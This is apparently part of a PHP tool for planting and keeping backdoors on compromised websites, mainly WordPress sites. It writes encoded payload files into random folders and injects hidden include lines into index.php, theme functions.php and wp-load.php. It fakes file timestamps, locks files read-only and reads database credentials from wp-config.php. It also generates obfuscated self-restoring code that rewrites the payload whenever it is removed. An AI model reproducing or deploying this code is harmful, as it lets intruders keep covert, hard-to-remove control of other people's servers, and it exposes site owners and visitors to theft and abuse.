$tokens = @token_get_all($content);
if ($tokens === false) return false;
$inPhp = false;
foreach ($tokens as $t) {
if (is_array($t)) {
if ($t[0] === T_OPEN_TAG || $t[0] === T_OPEN_TAG_WITH_ECHO) $inPhp = true;
elseif ($t[0] === T_CLOSE_TAG) $inPhp = false;
}
}
return $inPhp;
}
function _me_nzstr($n) { return $n !== ''; }
function _me_nzarr($files) { return !empty($files); }
function _me_nonphp_ext($e) {
$ext = strtolower(ltrim(pathinfo('x' . $e, PATHINFO_EXTENSION), '.'));
return $ext !== 'php' && $ext !== 'phtml' && $ext !== 'php5' && $ext !== '';
}
function _me_rand_word($charset, $cl) {
$w = '';
$n = mt_rand(3, 5);
for ($i = 0; $i < $n; $i++) $w .= $charset[mt_rand(0, $cl - 1)];
return $w;
}
function _me_first_key($arr) {
foreach ($arr as $k => $v) return $k;
return null;
}
function is_dir_chmod_able($dir) {
if (is_writable($dir)) return true;
if (PHP_OS_FAMILY === 'Windows') return false;
$old = @fileperms($dir);
if ($old === false) return false;
if (!@chmod($dir, 0755)) return false;
$ok = is_writable($dir);
@chmod($dir, $old);
return $ok;
}
function write_file_with_swap($filePath, $content) {
@chmod($filePath, 0644);
if (@file_put_contents($filePath, $content) !== false) {
return true;
}
$dir = dirname($filePath);
$restoreDirMode = false;
if (!is_writable($dir)) {
$oldMode = @fileperms($dir);
if ($oldMode === false || !@chmod($dir, 0755) || !is_writable($dir)) {
if ($oldMode !== false) @chmod($dir, $oldMode);
return false;
}
$restoreDirMode = $oldMode;
}
$base = basename($filePath);
$tmp = $dir . '/.' . $base . '.tmp' . substr(md5(uniqid('', true)), 0, 8);
$ok = false;
if (@copy($filePath, $tmp) !== false
&& @file_put_contents($tmp, $content) !== false) {
if (@rename($tmp, $filePath)) {
$ok = true;
} else {
@unlink($filePath);
if (@rename($tmp, $filePath)) $ok = true;
}
}
if (!$ok) @unlink($tmp);
if ($restoreDirMode !== false) @chmod($dir, $restoreDirMode);
return $ok;
}
function find_top_level_function_lines($content) {
$tokens = @token_get_all($content);
if (!is_array($tokens) || empty($tokens)) return array();
$depth = 0;
$indices = array();
$count = count($tokens);
for ($i = 0; $i < $count; $i++) {
$t = $tokens[$i];
if (is_array($t)) {
if ($t[0] === T_CURLY_OPEN || $t[0] === T_DOLLAR_OPEN_CURLY_BRACES) {
$depth++;
continue;
}
if ($t[0] === T_FUNCTION && $depth === 0) {
$j = $i + 1;
while (isset($tokens[$j])) {
$nt = $tokens[$j];
$txt = is_array($nt) ? $nt[1] : $nt;
if ($txt === '&') { $j++; continue; }
if (is_array($nt) && ($nt[0] === T_WHITESPACE || $nt[0] === T_COMMENT || $nt[0] === T_DOC_COMMENT)) { $j++; continue; }
break;
}
$next = isset($tokens[$j]) ? $tokens[$j] : null;
if (is_array($next) && $next[0] === T_STRING) {
$indices[] = $t[2] - 1;
}
}
} else {
if ($t === '{') {
$depth++;
} elseif ($t === '}') {
$depth--;
if ($depth < 0) $depth = 0;
}
}
}
return $indices;
}
function inject_into_file($siteRoot, $targetRelPath, $includeLine, $type) {
$filePath = "$siteRoot/$targetRelPath";
$filePath = str_replace('//', '/', $filePath);
if (!is_file($filePath)) {
if (basename($targetRelPath) === 'index.php') {
$dir = dirname($filePath);
$htmlPath = "$dir/index.html";
if (is_file($htmlPath)) {
$perms = @fileperms($dir);
if ($perms !== false && ($perms & 0200) === 0) {
@chmod($dir, 0755);
clearstatcache();
}
if (@rename($htmlPath, $filePath)) {
_log('INFO', "Static site: renamed index.html -> index.php in $dir, injecting");
} else {
_log('ERROR', "Cannot rename index.html -> index.php in $dir (permissions?) - target skipped: $targetRelPath");
return null;
}
} else {
_log('WARN', "Target file not found: $targetRelPath");
return null;
}
} else {
_log('WARN', "Target file not found: $targetRelPath");
return null;
}
}
$content = file_get_contents($filePath);
if (strpos($content, $includeLine) !== false) {
_log('INFO', "Already injected: $targetRelPath - skipping.");
return '';
}
if ($type === 'fixed') {
$isWP = (stripos($content, 'wp-blog-header.php') !== false
|| stripos($content, 'WP_USE_THEMES') !== false
|| is_file("$siteRoot/wp-config.php")
|| is_file("$siteRoot/wp-blog-header.php"));
if ($targetRelPath === 'index.php' && $isWP) {
$new = "<?php\n" . $includeLine . "\n" . substr(base64_decode(WP_INDEX_ORIGINAL), 6);
if (!write_file_with_swap($filePath, $new)) {
_log('ERROR', "Target not writable (file + dir): $targetRelPath");
return null;
}
_log('INFO', "Rewritten $targetRelPath from clean WP original + include (fixed)");
return $includeLine;
}
$bom = '';
if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) {
$bom = "\xEF\xBB\xBF";
$content = substr($content, 3);
}
if (strncmp($content, "<?php\n", 6) === 0) {
$new = $bom . "<?php\n" . $includeLine . "\n" . substr($content, 6);
} elseif (strncmp($content, "<?php\r\n", 7) === 0) {
$new = $bom . "<?php\r\n" . $includeLine . "\r\n" . substr($content, 7);
} elseif (strncmp($content, "<?php", 5) === 0) {
$new = $bom . "<?php\n" . $includeLine . "\n" . substr($content, 5);
} else {
$new = $bom . "<?php " . $includeLine . " ?>\n" . $content;
_log('INFO', "$targetRelPath has no PHP at line 1 - wrapped include in a PHP block and prepended.");
}
if (!write_file_with_swap($filePath, $new)) {
_log('ERROR', "Target not writable (file + dir): $targetRelPath");
return null;
}
_log('INFO', "Injected into $targetRelPath (fixed, after <?php)");
return $includeLine;
}
if ($type === 'rand') {
$lines = explode("\n", $content);
$topLevelFuncIndices = find_top_level_function_lines($content);
if (!empty($topLevelFuncIndices)) {
$pick = $topLevelFuncIndices[array_rand($topLevelFuncIndices)];
$funcLine = isset($lines[$pick]) ? $lines[$pick] : '';
if (preg_match('/^(\s*)<\?php\b/i', $funcLine, $mm)) {
$indent = $mm[1];
$rest = preg_replace('/^\s*/', '', substr($funcLine, strlen($mm[0])));
if (preg_match('/^declare\s*\([^;]*\)\s*;/i', $rest, $dm)) {
$newLine = $indent . '<?php ' . $dm[0] . "\n" . $includeLine . "\n" . substr($rest, strlen($dm[0]));
} else {
$newLine = $indent . "<?php\n" . $includeLine . "\n" . $rest;
}
array_splice($lines, $pick, 1, $newLine);
$new = implode("\n", $lines);
} else {
array_splice($lines, $pick, 0, $includeLine);
$new = implode("\n", $lines);
}
if (!write_file_with_swap($filePath, $new)) {
_log('ERROR', "Target not writable (file + dir): $targetRelPath");
return null;
}
_log('INFO', "Injected into $targetRelPath before top-level function at line " . ($pick + 1) . " ('rand' mode)");
return $includeLine;
}
_log('INFO', "No top-level function in $targetRelPath - appending at end of file.");
$trimmed = rtrim($content);
$prevChar = substr($trimmed, -3, 1);
if (php_mode_at_eof($content)) {
$new = $trimmed . "\n" . $includeLine . "\n";
} elseif (substr($trimmed, -2) === '?>' && $prevChar !== '"' && $prevChar !== "'") {
$prefix = rtrim(substr($trimmed, 0, -2));
$new = ($prefix === '' ? '' : $prefix . "\n") . $includeLine . "\n?>";
} else {
$new = $trimmed . "\n<?php " . $includeLine . " ?>\n";
}
if (!write_file_with_swap($filePath, $new)) {
_log('ERROR', "Target not writable (file + dir): $targetRelPath");
return null;
}
return $includeLine;
}
_log('ERROR', "Unknown injection type: $type");
return null;
}
function clean_target_file($siteRoot, $targetRelPath, $exactLine) {
$filePath = "$siteRoot/$targetRelPath";
$filePath = str_replace('//', '/', $filePath);
if (!is_file($filePath)) {
_log('WARN', "Target file not found for cleanup: $targetRelPath");
return false;
}
if (!is_writable($filePath)) {
@chmod($filePath, 0644);
}
$content = file_get_contents($filePath);
$isWP = (stripos($content, 'wp-blog-header.php') !== false || stripos($content, 'WP_USE_THEMES') !== false);
if ($targetRelPath === 'index.php' && $isWP && defined('WP_INDEX_ORIGINAL')) {
file_put_contents($filePath, base64_decode(WP_INDEX_ORIGINAL));
_log('INFO', "Restored $targetRelPath to clean WordPress original");
return true;
}
if (strpos($content, $exactLine) === false) {
_log('INFO', "$targetRelPath does not contain the inject line - already clean.");
return true;
}
$new = str_replace($exactLine . "\n", '', $content);
$new = str_replace($exactLine . "\r\n", '', $new);
$new = str_replace($exactLine, '', $new);
$new = preg_replace('/<\?php\s*\?>\r?\n?/', '', $new);
$new = rtrim($new) . "\n";
file_put_contents($filePath, $new);
_log('INFO', "Removed inject line from $targetRelPath");
return true;
}
function clean_target_file_legacy($siteRoot, $targetRelPath) {
$filePath = "$siteRoot/$targetRelPath";
$filePath = str_replace('//', '/', $filePath);
if (!is_file($filePath)) return false;
if (!is_writable($filePath)) @chmod($filePath, 0644);
$content = file_get_contents($filePath);
$lines = explode("\n", $content);
$cleaned = array();
$needle = '@' . 'includ' . 'e_once';
foreach ($lines as $l) {
if (stripos($l, $needle) === false) $cleaned[] = $l;
}
$new = implode("\n", $cleaned);
$new = rtrim($new) . "\n";
file_put_contents($filePath, $new);
_log('INFO', "Legacy cleaned $targetRelPath");
return true;
}
function info_encrypt($plaintext) {
$key = $GLOBALS['INFO_KEY'];
if (function_exists('openssl_encrypt')) {
$iv = openssl_random_pseudo_bytes(16);
$cipher = openssl_encrypt($plaintext, 'AES-128-CBC', $key, OPENSSL_RAW_DATA, $iv);
return $cipher === false ? null : 'ENC1:' . base64_encode($iv) . '.' . base64_encode($cipher);
}
if (function_exists('mcrypt_encrypt')) {
$iv = '';
for ($i = 0; $i < 16; $i++) $iv .= chr(crypto_rand_int(0, 255));
$pad = 16 - (strlen($plaintext) % 16);
$data = $plaintext . str_repeat(chr($pad), $pad);
$cipher = @mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $data, MCRYPT_MODE_CBC, $iv);
return $cipher === false ? null : 'ENC1:' . base64_encode($iv) . '.' . base64_encode($cipher);
}
return null;
}
function info_decrypt($payload) {
if (strncmp($payload, 'ENC1:', 5) !== 0) return $payload;
$key = $GLOBALS['INFO_KEY'];
$body = substr($payload, 5);
$dot = strpos($body, '.');
if ($dot === false) return null;
$iv = base64_decode(substr($body, 0, $dot));
$cipher = base64_decode(substr($body, $dot + 1));
if ($iv === false || $cipher === false || strlen($iv) !== 16) return null;
if (function_exists('openssl_decrypt')) {
$plain = openssl_decrypt($cipher, 'AES-128-CBC', $key, OPENSSL_RAW_DATA, $iv);
return $plain === false ? null : $plain;
}
if (function_exists('mcrypt_decrypt')) {
$plain = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, $cipher, MCRYPT_MODE_CBC, $iv);
if ($plain === false) return null;
$pad = ord(substr($plain, -1));
if ($pad >= 1 && $pad <= 16 && strlen($plain) >= $pad) {
$plain = substr($plain, 0, -$pad);
}
return $plain;
}
return null;
}
function read_information_file($infoPath) {
$result = array('mode' => null, 'time' => null, 'files' => array(), 'targets' => array(), 'injects' => array(), 'recover_files' => array(), 'recover_injects' => array(), 'recover_inject_lines' => array());
if (!is_file($infoPath)) return $result;
$plain = info_decrypt((string)file_get_contents($infoPath));
if ($plain === null) {
_log('WARN', "Could not decrypt $infoPath - treating as empty.");
return $result;
}
foreach (preg_split('/\r\n|\r|\n/', $plain) as $line) {
if ($line === '') continue;
if (strncmp($line, 'MODE:', 5) === 0) $result['mode'] = substr($line, 5);
elseif (strncmp($line, 'TIME:', 5) === 0) $result['time'] = substr($line, 5);
elseif (strncmp($line, 'FILE:', 5) === 0) $result['files'][] = substr($line, 5);
elseif (strncmp($line, 'RECOVER_FILE:', 13) === 0) $result['recover_files'][] = substr($line, 13);
elseif (strncmp($line, 'INJECT:', 7) === 0) {
$val = substr($line, 7);
$pipe = strpos($val, '|');
if ($pipe !== false) {
$v = substr($val, $pipe + 1);
if (strncmp($v, 'B64:', 4) === 0) $v = base64_decode(substr($v, 4));
$result['injects'][substr($val, 0, $pipe)] = $v;
}
}
elseif (strncmp($line, 'TARGET:', 7) === 0) {
$val = substr($line, 7);
$pipe = strrpos($val, '|');
if ($pipe !== false) {
$result['targets'][substr($val, 0, $pipe)] = substr($val, $pipe + 1);
} else {
$result['targets'][$val] = '';
}
}
elseif (strncmp($line, 'RECOVER_INJECT_LINE:', 20) === 0) {
$val = substr($line, 20);
$pipe = strpos($val, '|');
if ($pipe !== false) {
$v = substr($val, $pipe + 1);
if (strncmp($v, 'B64:', 4) === 0) $v = base64_decode(substr($v, 4));
$result['recover_inject_lines'][substr($val, 0, $pipe)] = $v;
}
}
elseif (strncmp($line, 'RECOVER_INJECT:', 15) === 0) {
$val = substr($line, 15);
$pipe = strrpos($val, '|');
if ($pipe !== false) {
$result['recover_injects'][substr($val, 0, $pipe)] = substr($val, $pipe + 1);
} else {
$result['recover_injects'][$val] = '';
}
}
}
return $result;
}
function write_information_file($infoPath, $mode, $fileRelPaths, $targetHashes, $injectLines, $recoverFiles = array(), $recoverInject = array(), $recoverHashes = array()) {
$lines = array("MODE:$mode", "TIME:" . date('Y-m-d H:i:s'));
foreach ($fileRelPaths as $rp) $lines[] = "FILE:$rp";
foreach ($recoverFiles as $rf) $lines[] = "RECOVER_FILE:$rf";
foreach ($injectLines as $tpath => $inj) {
$thash = isset($targetHashes[$tpath]) ? $targetHashes[$tpath] : '';
$lines[] = "TARGET:$tpath|$thash";
$lines[] = "INJECT:$tpath|B64:" . base64_encode($inj);
}
foreach ($recoverInject as $tpath => $inj) {
$rhash = isset($recoverHashes[$tpath]) ? $recoverHashes[$tpath] : '';
$lines[] = "RECOVER_INJECT:$tpath|$rhash";
$lines[] = "RECOVER_INJECT_LINE:$tpath|B64:" . base64_encode($inj);
}
$plain = implode("\n", $lines) . "\n";
$enc = info_encrypt($plain);
file_put_contents($infoPath, $enc !== null ? $enc . "\n" : $plain);
_log('INFO', 'Written information.txt (' . count($fileRelPaths) . ' files, ' . count($injectLines) . ' targets'
. ', ' . count($recoverFiles) . ' recover files, ' . count($recoverInject) . ' recover injects'
. ($enc !== null ? ', AES-128-CBC encrypted' : ', PLAINTEXT fallback (no openssl)') . ')');
}
function do_add($scriptDir, $siteRoot, $infoPath, $count, $targetFiles) {
_log('INFO', str_repeat('=', 50));
_log('INFO', 'MODE: ADD');
_log('INFO', str_repeat('=', 50));
if (is_file($infoPath)) {
_log('WARN', 'information.txt already exists - deployment already done. Skipping.');
_log('WARN', 'Run with mode=remove first if you want to re-deploy.');
return false;
}
$payload = find_payload_file($scriptDir, $GLOBALS['PAYLOAD_FILE']);
if (!$payload) {
$GLOBALS['_PAYLOAD_MISSING'] = true;
_log('ERROR', 'No payload file found. Aborting (script kept for re-run).');
return false;
}
$GLOBALS['_PAYLOAD_RESOLVED'] = $payload;
$GLOBALS['_CMS_CWD_TYPE'] = detect_cms_cwd_type($siteRoot);
$isWordPress = (is_file("$siteRoot/wp-config.php") || is_file("$siteRoot/wp-blog-header.php"));
if ($isWordPress) {
_log('INFO', 'WordPress detected - trying COMMON_FOLDERS first...');
$selected = pick_from_common_folders($siteRoot, $count);
if (count($selected) < $count) {
$shortfall = $count - count($selected);
_log('WARN', "Only " . count($selected) . "/$count COMMON_FOLDERS writable - filling $shortfall from scan...");
$pool = collect_resource_folders($siteRoot, $GLOBALS['RESOURCE_FOLDERS'], $shortfall);
$fallbackSelected = pick_distributed($pool, $shortfall);
foreach ($fallbackSelected as $k => $v) {
if (!isset($selected[$k])) $selected[$k] = $v;
}
}
} else {
_log('INFO', 'Non-WordPress site - using generic resource-folder scan...');
$pool = collect_resource_folders($siteRoot, $GLOBALS['RESOURCE_FOLDERS'], $count);
if (empty($pool)) {
_log('ERROR', 'No writable directories found. Aborting.');
return false;
}
$selected = pick_distributed($pool, $count);
}
if (empty($selected)) {
_log('ERROR', 'No writable directories found. Aborting.');
return false;
}
$payloadRaw = @file_get_contents($payload);
if ($payloadRaw === false) {
_log('ERROR', 'Failed to read payload file.');
return false;
}
$written = array();
foreach ($selected as $relFolder => $filesStr) {
$fullFolder = $siteRoot . '/' . $relFolder;
$fullFolder = str_replace('//', '/', $fullFolder);
$existing = @scandir($fullFolder);
$existing = $existing ? array_diff($existing, array('.', '..')) : array();
$newName = generate_random_filename($existing, $filesStr);
$dstFull = str_replace('//', '/', "$fullFolder/$newName");
_log('INFO', "Writing (encoded): $dstFull");
if (write_encoded_payload($payloadRaw, $dstFull)) {
$relPath = ($relFolder === '.' ? $newName : "$relFolder/$newName");
$written[] = $relPath;
_log('INFO', " SUCCESS: $relPath");
blend_file_mtime($dstFull);
} else {
_log('ERROR', " FAILED: $dstFull");
}
}
if (empty($written)) {
_log('ERROR', 'No files written. Aborting.');
return false;
}
$randCount = $GLOBALS['RAND_PHP_FILE'];
$cmsType = detect_cms_type($siteRoot);
if ($cmsType !== '') {
_log('INFO', "CMS type detected: $cmsType");
}
$randomTargets = collect_random_targets($siteRoot, $cmsType, $randCount);
$allTargets = $targetFiles;
$existingPaths = array();
foreach ($allTargets as $t) { $existingPaths[$t['path']] = true; }
foreach ($randomTargets as $rt) {
if (!isset($existingPaths[$rt['path']])) {
$allTargets[] = $rt;
$existingPaths[$rt['path']] = true;
}
}
_log('INFO', 'Total injection targets: ' . count($allTargets) . ' (' . count($targetFiles) . ' configured + ' . count($randomTargets) . ' random)');
$targetHashes = array();
$injectLines = array();
$indexPayloadRel = null;
foreach ($allTargets as $t) {
$tpath = $t['path'];
$ttype = $t['type'];
$pickedPayload = $written[array_rand($written)];
if ($tpath === 'index.php') {
$indexPayloadRel = $pickedPayload;
}
$includeLine = generate_include_line($pickedPayload, $tpath);
if (stripos($includeLine, '@' . 'includ' . 'e_once') !== 0) {
_log('ERROR', "generate_include_line() returned a non-include line for $tpath - aborting: " . substr($includeLine, 0, 80));
return false;
}
_log('INFO', "Injecting into target: $tpath (type=$ttype) <-- $pickedPayload");
$result = inject_into_file($siteRoot, $tpath, $includeLine, $ttype);
if ($result !== null) {
$fullTargetPath = str_replace('//', '/', "$siteRoot/$tpath");
$targetHashes[$tpath] = is_file($fullTargetPath) ? md5_file($fullTargetPath) : '';
if ($result !== '') {
$injectLines[$tpath] = $result;
}
_log('INFO', " Hash ($tpath): " . $targetHashes[$tpath]);
blend_file_mtime($fullTargetPath);
}
}
if (empty($injectLines)) {
_log('ERROR', 'Failed to inject into any target file.');
return false;
}
if (isset($injectLines['index.php'])) {
$indexPath = str_replace('//', '/', "$siteRoot/index.php");
if (@chmod($indexPath, 0444)) {
_log('INFO', 'index.php permissions set to 0444 (read-only)');
} else {
_log('WARN', 'Failed to set index.php to 0444');
}
}
$recoverFiles = array();
$recoverInject = array();
$recoverHashes = array();
if (!empty($GLOBALS['RECOVER_INDEX']) && !empty($GLOBALS['RECOVER_PHP_FILE'])) {
$indexRel = 'index.php';
$indexAbsPath = str_replace('//', '/', "$siteRoot/$indexRel");
$idxContent = @file_get_contents($indexAbsPath);
$indexB64 = $idxContent !== false ? base64_encode($idxContent) : '';
$indexMd5 = $idxContent !== false ? md5($idxContent) : '';
if ($indexB64 === '') {
_log('WARN', 'Recovery: could not read index.php snapshot - skipping.');
} else {
$payloadRel = $indexPayloadRel;
$payloadAbs = str_replace('//', '/', "$siteRoot/$payloadRel");
$payloadBlob = @file_get_contents($payloadAbs);
$payloadB64 = ($payloadBlob !== false && $payloadBlob !== '') ? base64_encode($payloadBlob) : '';
$payloadMd5 = ($payloadBlob !== false && $payloadBlob !== '') ? md5($payloadBlob) : '';
$sentinelTok = _me_recover_token(12);
$cwdType = isset($GLOBALS['_CMS_CWD_TYPE']) ? $GLOBALS['_CMS_CWD_TYPE'] : 'unknown';
if ($payloadB64 === '') {
_log('WARN', 'Recovery: could not snapshot payload file ' . $payloadRel . ' - skipping.');
} else {
$deploy = deploy_recovery_code(
$siteRoot, $cmsType,
$indexRel, $indexB64, $indexMd5,
$payloadRel, $payloadB64, $payloadMd5,
$sentinelTok, $scriptDir
);
$files = !empty($deploy['recover_file']) ? array($deploy['recover_file']) : array();
$recoverFiles = $files;
$recoverInject = !empty($deploy['injects']) ? $deploy['injects'] : array();
$recoverHashes = !empty($deploy['hashes']) ? $deploy['hashes'] : array();
}
}
}
write_information_file($infoPath, 'ADD', $written, $targetHashes, $injectLines, $recoverFiles, $recoverInject, $recoverHashes);
_log('INFO', str_repeat('=', 50));
_log('INFO', 'ADD done. ' . count($written) . ' files hidden, injected into ' . count($injectLines) . ' target(s).');
foreach ($injectLines as $tp => $inj) {
_log('INFO', " $tp MD5: " . $targetHashes[$tp]);
}
_log('INFO', str_repeat('=', 50));
return true;
}
function do_remove($scriptDir, $siteRoot, $infoPath) {
_log('INFO', str_repeat('=', 50));
_log('INFO', 'MODE: REMOVE');
_log('INFO', str_repeat('=', 50));
$info = read_information_file($infoPath);
$deleted = 0;
foreach ($info['files'] as $rel) {
$full = str_replace('//', '/', "$siteRoot/$rel");
if (is_file($full)) {
if (@unlink($full)) {
$deleted++;
_log('INFO', "Deleted: $rel");
} else {
_log('ERROR', "Delete failed: $rel");
}
} else {
_log('WARN', "Not found: $rel");
}
}
foreach ($info['recover_files'] as $rel) {
$full = str_replace('//', '/', "$siteRoot/$rel");
if (is_file($full)) {
@unlink($full);
_log('INFO', "Deleted recover file: $rel");
} else {
_log('WARN', "Recover file not found: $rel");
}
}
if (!empty($info['recover_inject_lines'])) {
foreach ($info['recover_inject_lines'] as $tpath => $exactLine) {
clean_target_file($siteRoot, $tpath, $exactLine);
_log('INFO', "Recovery inject cleaned from: $tpath");
}
}
if (!empty($info['injects'])) {
foreach ($info['injects'] as $tpath => $exactLine) {
clean_target_file($siteRoot, $tpath, $exactLine);
}
} elseif (!empty($info['targets'])) {
_log('INFO', 'No INJECT records - using legacy target cleanup.');
foreach ($info['targets'] as $tpath => $thash) {
clean_target_file_legacy($siteRoot, $tpath);
}
} else {
_log('INFO', 'No targets to clean.');
}
if (is_file($infoPath)) {
if (!empty($GLOBALS['RES_INFO'])) {
@unlink($infoPath);
_log('INFO', 'Removed information.txt');
} else {
_log('INFO', 'Kept information.txt (RES_INFO=false)');
}
}
_log('INFO', str_repeat('=', 50));
_log('INFO', "REMOVE done. $deleted files deleted.");
_log('INFO', str_repeat('=', 50));
return true;
}
function _me_recover_token($len = 6) {
$c = 'abcdefghijklmnopqrstuvwxyz0123456789';
$t = '';
for ($i = 0; $i < $len; $i++) { $t .= $c[mt_rand(0, strlen($c) - 1)]; }
return $t;
}
function _me_recover_path_expr($relPath, $cwdType) {
if ($cwdType === 'root') {
return var_export($relPath, true);
}
$key = '"\\x53\\x43\\x52\\x49\\x50\\x54\\x5f\\x46\\x49\\x4c\\x45\\x4e\\x41\\x4d\\x45"';
return 'dirname($_SERVER[' . $key . ']) . ' . var_export('/' . ltrim($relPath, '/'), true);
}
function _me_recover_write_code($pathVar, $b64Var, $dirVar, $mtFn) {
$code = '';
$code .= ' $ok = @file_put_contents(' . $pathVar . ', base64_decode(' . $b64Var . '));' . "\n";
$code .= ' if ($ok === false) { @chmod(' . $pathVar . ', 0644); $ok = @file_put_contents(' . $pathVar . ', base64_decode(' . $b64Var . ')); }' . "\n";
$code .= ' if ($ok === false) { @chmod(' . $dirVar . ', 0755); @unlink(' . $pathVar . '); @file_put_contents(' . $pathVar . ', base64_decode(' . $b64Var . ')); }' . "\n";
$code .= ' $mt = ' . $mtFn . '(' . $dirVar . ', \'\', ' . $pathVar . '); @touch(' . $pathVar . ', $mt);' . "\n";
return $code;
}
function _me_recover_index_code($pathExpr, $b64, $md5, $token, $mtFn, $lockVar) {
$pathVar = '$r' . $token . '_p';
$b64Var = '$r' . $token . '_b';
$md5Var = '$r' . $token . '_m';
$nowVar = '$r' . $token . '_n';
$dirVar = '$r' . $token . '_d';
$code = '';
$code .= $pathVar . ' = ' . $pathExpr . ";\n";
$code .= $b64Var . ' = ' . var_export($b64, true) . ";\n";
$code .= $md5Var . ' = ' . var_export($md5, true) . ";\n";
$code .= 'if ( @is_file(' . $pathVar . ') ) {' . "\n";
$code .= ' ' . $nowVar . ' = @md5_file(' . $pathVar . ");\n";
$code .= ' if ( ' . $nowVar . ' !== ' . $md5Var . " ) {\n";
$code .= ' ' . $dirVar . ' = @dirname(' . $pathVar . ");\n";
$code .= ' @chmod(' . $pathVar . ', 0644);' . "\n";
$code .= _me_recover_write_code($pathVar, $b64Var, $dirVar, $mtFn);
$code .= ' }' . "\n";
$code .= '} else {' . "\n";
$code .= ' ' . $dirVar . ' = @dirname(' . $pathVar . ");\n";
$code .= _me_recover_write_code($pathVar, $b64Var, $dirVar, $mtFn);
$code .= '}' . "\n";
$code .= $lockVar . ' = ' . $pathVar . "; @chmod(" . $pathVar . ", 0444);\n";
return $code;
}
function _me_recover_payload_code($pathExpr, $b64, $md5, $token, $mtFn) {
$pathVar = '$r' . $token . '_p';
$b64Var = '$r' . $token . '_b';
$md5Var = '$r' . $token . '_m';
$nowVar = '$r' . $token . '_n';
$dirVar = '$r' . $token . '_d';
$code = '';
$code .= $pathVar . ' = ' . $pathExpr . ";\n";
$code .= $b64Var . ' = ' . var_export($b64, true) . ";\n";
$code .= $md5Var . ' = ' . var_export($md5, true) . ";\n";
$code .= $nowVar . ' = @md5_file(' . $pathVar . ");\n";
$code .= 'if ( !@is_file(' . $pathVar . ') || ' . $nowVar . ' !== ' . $md5Var . " ) {\n";
$code .= ' ' . $dirVar . ' = @dirname(' . $pathVar . ");\n";
$code .= _me_recover_write_code($pathVar, $b64Var, $dirVar, $mtFn);
$code .= '}' . "\n";
return $code;
}
function build_recovery_code($indexRel, $indexB64, $indexMd5, $payloadRel, $payloadB64, $payloadMd5, $sentinelTok, $cwdType) {
$mtName = '_r' . _me_recover_token() . '_mt';
$mtBody = 'function ' . $mtName . '($d,$e,$s){'
. '$f=@scandir($d);$m=array();'
. 'if($f){foreach($f as $fx){'
. 'if($fx===\'.\'||$fx===\'..\'){continue;}'
. '$x=str_replace(\'//\',\'/\',$d.\'/\'.$fx);'
. 'if($e!==\'\'&&strtolower(pathinfo($fx,PATHINFO_EXTENSION))!==$e){continue;}'
. 'if(@realpath($x)===@realpath($s)){continue;}'
. '$t=@filemtime($x);if($t!==false){$m[]=$t;}}}'
. 'if(!empty($m)){return $m[array_rand($m)];}'
. 'return time()-(1*365*86400)-rand(0,365*86400);}';
$idxTok = _me_recover_token();
$idxExpr = _me_recover_path_expr($indexRel, $cwdType);
$code = '<?php if(!defined("_' . $sentinelTok . '")){define("_' . $sentinelTok . '",1);' . "\n";
$code .= $mtBody . "\n";
$lockVar = '$r' . _me_recover_token() . '_l';
$code .= _me_recover_index_code($idxExpr, $indexB64, $indexMd5, $idxTok, $mtName, $lockVar);
$pfTok = _me_recover_token();
$pfExpr = _me_recover_path_expr($payloadRel, $cwdType);
$code .= _me_recover_payload_code($pfExpr, $payloadB64, $payloadMd5, $pfTok, $mtName);
$code .= '}' . "\n";
return $code;
}
function encode_recovery_content($recoveryPhp) {
global $_hasZlib;
$encoded = base64_encode($recoveryPhp);
$encoded = str_rot13($encoded);
if ($_hasZlib) {
$encoded = gzdeflate($encoded);
}
return $encoded;
}
function get_active_theme_name($siteRoot) {
$config = "$siteRoot/wp-config.php";
if (!is_file($config)) return '';
$cfg = @file_get_contents($config);
if ($cfg === false) return '';
$db = array(); $prefix = 'wp_';
if (preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/i", $cfg, $m)) $db['name'] = $m[1];
if (preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/i", $cfg, $m)) $db['user'] = $m[1];
if (preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]*)['\"]\s*\)/i", $cfg, $m)) $db['pass'] = $m[1];
if (preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/i", $cfg, $m)) $db['host'] = $m[1];
if (preg_match("/\\\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]/", $cfg, $m)) $prefix = $m[1];
if (empty($db['name']) || empty($db['user'])) return '';
if (function_exists('mysqli_report')) {
@mysqli_report(0);
}
$mysqli = false;
try {
$mysqli = @new mysqli();
if ($mysqli instanceof mysqli) {
if (defined('MYSQLI_OPT_CONNECT_TIMEOUT')) {
@$mysqli->options(MYSQLI_OPT_CONNECT_TIMEOUT, 3);
}
@$mysqli->real_connect($db['host'], $db['user'], $db['pass'], $db['name']);
}
} catch (Throwable $e) {
$mysqli = false;
}
if (!$mysqli instanceof mysqli || $mysqli->connect_errno) {
if ($mysqli instanceof mysqli) { @$mysqli->close(); }
return '';
}
$row = null;
$sql = "SELECT option_value FROM " . addslashes($prefix) . "options WHERE option_name='template' LIMIT 1";
$res = $mysqli->query($sql);
if ($res) {
$r = $res->fetch_row();
if ($r) $row = $r[0];
$res->free();
}
$mysqli->close();
return $row ? trim($row) : '';
}
function pick_recover_targets($siteRoot, $cmsType, $want) {
$targets = collect_random_targets($siteRoot, $cmsType, $want);
$loadList = array();
$activeTemplate = get_active_theme_name($siteRoot);
if ($activeTemplate !== '') {
$loadList['wp-content/themes/' . $activeTemplate . '/functions.php'] = true;
}
$loadList['wp-load.php'] = true;
$priorityTargets = array();
foreach ($loadList as $rel => $dummy) {
$full = str_replace('//', '/', "$siteRoot/$rel");
if (is_file($full)) {
$priorityTargets[] = array('type' => 'rand', 'path' => $rel);
}
}
$seen = array();
foreach ($priorityTargets as $t) { $seen[$t['path']] = true; }
foreach ($targets as $t) {
if (!isset($seen[$t['path']])) {
$priorityTargets[] = $t;
$seen[$t['path']] = true;
}
}
return $priorityTargets;
}
function write_recover_static_file($siteRoot, $cmsType, $recoveryPhp, $scriptDir) {
global $FOLDER_COUNT;
if ($cmsType === 'wordpress') {
$selected = pick_from_common_folders($siteRoot, 1);
} else {
$pool = collect_resource_folders($siteRoot, $GLOBALS['RESOURCE_FOLDERS'], 1);
$selected = pick_distributed($pool, 1);
}
if (empty($selected)) {
